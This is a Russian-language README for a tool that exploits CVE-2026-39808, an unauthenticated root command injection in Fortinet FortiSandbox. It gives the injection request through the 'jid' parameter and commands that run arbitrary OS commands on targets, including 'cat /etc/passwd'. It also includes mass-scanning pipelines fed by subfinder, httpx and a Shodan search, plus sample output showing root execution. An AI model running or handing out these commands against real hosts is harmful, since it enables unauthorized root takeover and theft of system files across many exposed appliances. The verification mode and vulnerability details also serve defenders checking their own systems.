
Неаутентифицированный сканер RCE для FortiSandbox CVE-2026-39808 с проверкой на основе canary, выполнением команд и интеграцией в конвейер для массового сканирования.
Неаутентифицированная инъекция OS-команд от имени root в Fortinet FortiSandbox
Уязвимость • Установка • Использование • Принцип работы • Конвейер • Shodan Dorks • Отказ от ответственности
CVE-2026-39808 — критическая неаутентифицированная уязвимость инъекции OS-команд в Fortinet FortiSandbox. Конечная точка API /fortisandbox/job-detail/tracer-behavior не выполняет санитизацию параметра jid, что позволяет атакующему внедрять произвольные OS-команды, выполняемые от имени root — без какой-либо аутентификации.
| Деталь | Значение |
|---|---|
| CVE ID | CVE-2026-39808 |
| CVSS Score | 9.8 (Critical) |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Привилегии | Root |
| Затронутые версии | FortiSandbox < 4.4.9 |
| Исправлено в | 4.4.9 и выше |
| Консультация | FG-IR-25-325 |
Параметр jid в конечной точке tracer-behavior передаётся напрямую в системную команду без санитизации. Используя символы конвейера (|), атакующий может выйти за пределы предполагаемого контекста команды и выполнить произвольные команды:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
Вывод записывается в /web/ng/out.txt, который доступен по адресу /ng/out.txt на веб-сервере — что обеспечивает удобный механизм чтения результатов для слепой инъекции команд.
Ноль зависимостей. Только стандартная библиотека Python 3.7+.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Проверить, уязвима ли цель (используется обнаружение на основе канареечной строки)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Выполнить конкретную команду на цели
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Только проверить уязвимость, не выполнять --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Из списка URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → сканер
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → сканер
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL Целевой URL
--stdin Читать URL из stdin (режим конвейера)
--cmd CMD OS-команда для выполнения (по умолчанию: id)
--verify-only Только проверить уязвимость, не выполнять --cmd
--proxy PROXY HTTP-прокси (например, http://127.0.0.1:8080)
--timeout TIMEOUT HTTP-таймаут в секундах (по умолчанию: 15)
--rate-limit RATE_LIMIT Задержка между целями в мс (по умолчанию: 0)
-o, --output FILE Файл JSON-отчёта
--no-banner Подавить баннер
Сканер использует 5-этапный процесс проверки со строгим предотвращением ложных срабатываний:
Шаг 1 → Обнаружение FortiSandbox (отпечаток по заголовку/заголовкам)
Шаг 2 → Проверка существования уязвимой конечной точки
Шаг 3 → Внедрение уникальной канареечной строки через инъекцию команд
Шаг 4 → Чтение /ng/out.txt и проверка канареечной строки (строгая валидация обычного текста)
Шаг 5 → Выполнение пользовательской команды + очистка
Сканер реализует несколько уровней валидации для устранения ложных срабатываний:
text/htmlid — Строгое сопоставление шаблона uid=\d+(\w+) с проверкой размера (<1000 байт)/ng для предотвращения проблем с двойным путём ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Неаутентифицированная инъекция команд (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Цель: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox обнаружен!
▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
▸ Статус конечной точки: 200 | Content-Type: text/html
▸ Внедрение канареечной строки: mitsec_a8k3m2x1
▸ Чтение вывода: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 УЯЗВИМ — CVE-2026-39808 ПОДТВЕРЖДЁН!
CRITICAL Цель: https://fortisandbox.example.com
✓ Канареечная строка 'mitsec_a8k3m2x1' подтверждена в выводе (чистый обычный текст)
──────────────────────────────────────────────────────────
Вывод команды: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Файл вывода очищен
┌──────────────────────────────────────────────────────────┐
│ Цель: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox обнаружен!
▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
✗ Конечная точка вернула 404 — не уязвима или исправлена